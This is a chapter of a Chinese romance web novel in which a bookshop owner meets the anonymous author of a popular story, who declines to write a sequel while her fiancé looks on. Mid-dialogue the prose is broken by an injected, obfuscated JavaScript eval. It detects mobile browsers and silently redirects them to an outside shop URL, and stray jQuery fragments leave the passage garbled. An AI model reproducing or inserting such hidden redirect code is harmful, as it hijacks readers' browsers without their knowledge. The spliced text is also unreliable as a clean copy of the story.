自那日长乐楼后,观棠就没有再见过谢济川了。
只有平潮来过一次书坊,告诉她郭二之事郎君正在处置,若有消息,定会第一时间遣人知会,请她莫要焦急。
她叫住转身欲走的平潮,犹豫着问:“你们郎君近来可好?”
当日之举,她不曾后悔,但歉疚却如春水暗生,诚实地涌现。
谢济川待婚约素来认真,且因此帮了她许多,加之他虽看上去克制自持,但内里必然不乏骄傲自矜,面对这样的事,若有所不悦,也在情理之中。
平潮挑眉,似有不解,但仍笑答:“郎君很好,小娘子勿念。”
很好便好。
也许他本未放在心上,自然不会有什么影响。
观棠松了一口气。
近日真正困扰她的,其实是找到《青天破晓》的作者。
且不说此人从未真正露面,代为商谈刊印事宜的老仆也只现身一回,连酬金交付,都是依其吩咐送至城中某处隐秘角落。
行事之诡谲,派头之神秘,明显是有意藏踪匿迹。
观棠思忖再三,有意将最近一笔酬金拖延了几日,同时派人去指定地点盯守,却始终不见有人来取。
明平湛得知后笑道:“八成是个不愿暴露身份的士大夫,写话本不过是消遣玩乐,所以不把银钱放在心上。”
观棠不想放弃。
横竖她也收不到其他满意的话本稿,不如全力一搏。
她仔细回忆出那老仆的形貌,请照檀绘画成像,又从舅舅家中借了人,城里城外,大街小巷,比照了半个月,终于在一处茶肆后巷寻到了人。
那老仆甚为惊讶,连连摆手:“我家主人不愿旁人知晓身份,亦无续写之意,小娘子莫要为难老朽。”
观棠无奈,只得手书一封,将前因后果、诚恳之意尽数道明,请老仆代为转呈。
老仆叹息,想了想还是答应下来。
又过了几日,老仆带来回信,说主人三日后休沐,请观棠至家中详谈。
随信所书的地址是位于朱雀门外不远处的小院,那一片大多是年轻的外籍官员所居。
观棠略略思量,很快应允。
临行前,拂雪问观棠:“人生地不熟,小娘子不可不防。要不叫上孟郎君同去?也好有个照应。”
观棠没有回答。
她明白拂雪的用意和忧心,但不知为何,她不想与孟淮西同去。
拂雪瞧她神色,“或是谢郎君?”
观棠脚下一顿,“何必劳烦他们,有你在,如何不算照应?多带些家丁就是了。”
见她这么说,拂雪不再坚持,亲去前院点了几个壮硕家丁与仆妇,要他们随观棠同行。
马车一路缓行,在曲巷深处停了下来。
开门的是那位老仆,他见着拂雪身后的观棠,脸上露出犹豫的神情,“今日恰有客至,明东主请容我先向主人通禀。”
“好。”
得到观棠首肯,老仆掩门,快步向里走去。
院落一角,柳境尘正与客对坐闲谈。
他持筅点茶,将盏递到客人身前,“技艺粗疏,济川无怪。”
客人淡笑,“境尘过谦了,茶沫色白如雪,已见工夫不凡。”
来客正是谢济川。
之前丰乐楼聚会上,柳境尘谈及《汴京见闻录》时,未因涉及权贵而避讳,反而持论中正、言辞清直。谢济川心下暗许,自此对他多有留意,加上公事上偶有交集,一来二去,两人渐以友人相论。
今日,谢济川因预算争议,前去国子监核实,回程时想起柳境尘在附近居住,临时决定前来拜访。
谁知刚坐下喝了两口茶,柳家老仆便匆匆而来。
“郎君,明东主来访,不知郎君是否要见?”
听见“明东主”三字,谢济川眉心微动,虽不确定是否是她,但他仍放下茶盏,起身道:“我未约而至,已属唐突。既然境尘有客来,我还是不便久扰。”
柳境尘连忙开口挽留:“济川何出此言,你是贵客,我盼你来尚且不及。虽与明东主所约是为私事,但济川在旁,亦无不可。”
虽得相劝,谢济川仍执意告辞。
他无意窥知别人的私事,更何况,若真是明观棠,他此刻尚不愿见她。
那日的梦余波犹在,他不知其中几分真假,但渐渐明白,有些无法归纳的心绪已经超出了婚约之责所能框定的界限。
这并没有什么关系。
他已决意尊重明观棠的选择,想必一时的不甘与悒郁,很快就会如朝露见日,烟消云散。
柳境尘没有放弃,忽而灵光一闪,“早知明侍郎岳家有产业,这位知闻书坊的东主恰也姓明,莫非正是济川的未婚妻?”
他孤身赴汴京就任,尚未娶妻,既入不得女眷圈子,自然无从知晓明观棠的实情。
谢济川没有否认,“是。”
柳境尘笑意温然,“那济川更不能走了,我这私事也更无需遮掩隐瞒。”
他又好言挽留了几句,谢济川只得留下。
毕竟,总不好逢人便说他们已有退婚之意,此刻理当疏远。
观棠被引进院中时,一眼就看见了谢济川。
大半月不见,他清贵隽雅的风姿一如从前,与她目光相接时,露出浅淡的笑意,颔首间礼数周全,分毫不逾。
看来,他的确如平潮所言——“郎君很好”。
观棠不动声色地移开视线,落向他身侧的柳境尘。
他没有像交稿时那样覆面,容颜十分俊美,气度谦和,见之可亲。
坐下后,柳境尘亦亲手为她点茶。
观棠捧过盏,寒暄几句后,见柳境尘没有因谢济川在场而有所避忌,便径直切入正题,“我的来意早在信中道明,郎君既肯相邀,又未再遮掩身份,想必对续写一事,心中已有思量。”
柳境尘低下头,声音含了几分郑重,“《青天破晓》得以顺利付梓,又得些许柳某从未敢奢望的声名,全赖东主慧眼与扶持,我一直心怀感激,在此特向东主道谢。”
观棠应答得真诚,“不瞒郎君,自我接手书坊以来,我收到的话本中能成书的,唯此一本,自然要倾力以赴,但要说声名之起,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628387|204801||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那是因为郎君笔下的故事足够引人入胜,不是我的功劳。”
柳境尘和煦笑起来,“明东主信中言语坦诚率真,今日一见,更是如此。柳某深知,东主能找到我,已是颇费了一番功夫。所以,我想当面郑重告诉东主,我无意再续写话本了。”
他说着,向观棠拱手,“请明东主见谅。”
随后又转向谢济川,“也请济川见谅。”
谢济川侧身微微避让,他知道,柳境尘已默认他与观棠立场相同。
虽对柳是《青天破晓》作者一事颇感意外,但他完全无意置喙此事,甚至有意放空思绪,只作旁观。
观棠没在意这些细枝末节,她听了柳境尘的话,偏头追问:“不知郎君方不方便说出缘由?”
柳境尘一笑,“没有什么不方便。东主也知,话本在当世终属小道。柳某虽非高官王爵,但忝列士林,不好以此为业,更怕被同侪所讥,最终累及家声。”
这话听来合情合理,几乎无可辩驳。
观棠略加思忖,语气温和却不容回避,“郎君方才说我坦诚,可对我却藏了一半真心。若郎君真如世人一般视话本为小道,何须写得那样字字恳切、句句关情?又怎会甘冒身份泄露的风险,将手稿托付给一个素未谋面的书坊东主?”
她说得直白,没有谈利益也没有讲情分,一如既往地不按常理出牌。
谢济川听见,也微微垂头,弯起一点唇角。
柳境尘脸上浮出一点惊讶,很快笑起来:“明东主敏锐。我选了最稳妥的说辞,没成想还是没瞒得过东主慧眼。”
他顿了顿,笑意微敛,语气更诚:“我的确不认为话本是小道。能得百姓喜爱,供他们茶余饭后闲乐,何小之有?”
观棠闻言,不觉坐直了身子,“郎君所言,与我心中所想如出一辙。我刊印话本,同样为此。只是郎君既然这么想,为何不愿再续写呢?”
院中寂静了片刻,唯闻暖风轻叩竹帘的细密声。
柳境尘没有立刻回答,执壶为三人添茶。
他的手指微微收紧,摇了摇头,“个中原因不便透露,请东主别再追问了。”
话说到这个份上,续写之事显然无望。
观棠也不是强人所难之人,她轻轻放下茶盏,无声一叹。
正打算起身告辞时,倏然将目光转向一直没有开口的谢济川。
既然能到院中做客,且柳境尘无避讳之意,想必两人就算称不上知己,也算得朋友。若他肯劝上几句,说不定还有转圜。
谢济川察觉到她的视线,迟疑片刻,终是回望了过去。
她轻轻眨了眨眼,似有若无,萌发出试探的微光。
不知为何,他忽然想起前些日子,她为照檀之事登门谢府。那时的她分明是想请他帮忙,却开口事理、闭口利害,寸步不肯相让。
眼下,她的姿态虽柔软,但谢济川从中看出了几分淡然,那是帮或不帮都无所谓的淡然。
她并不需要他。
很快他移开目光,去看院中那棵枝叶繁茂的柏树。
枝叶静默,不语人间事。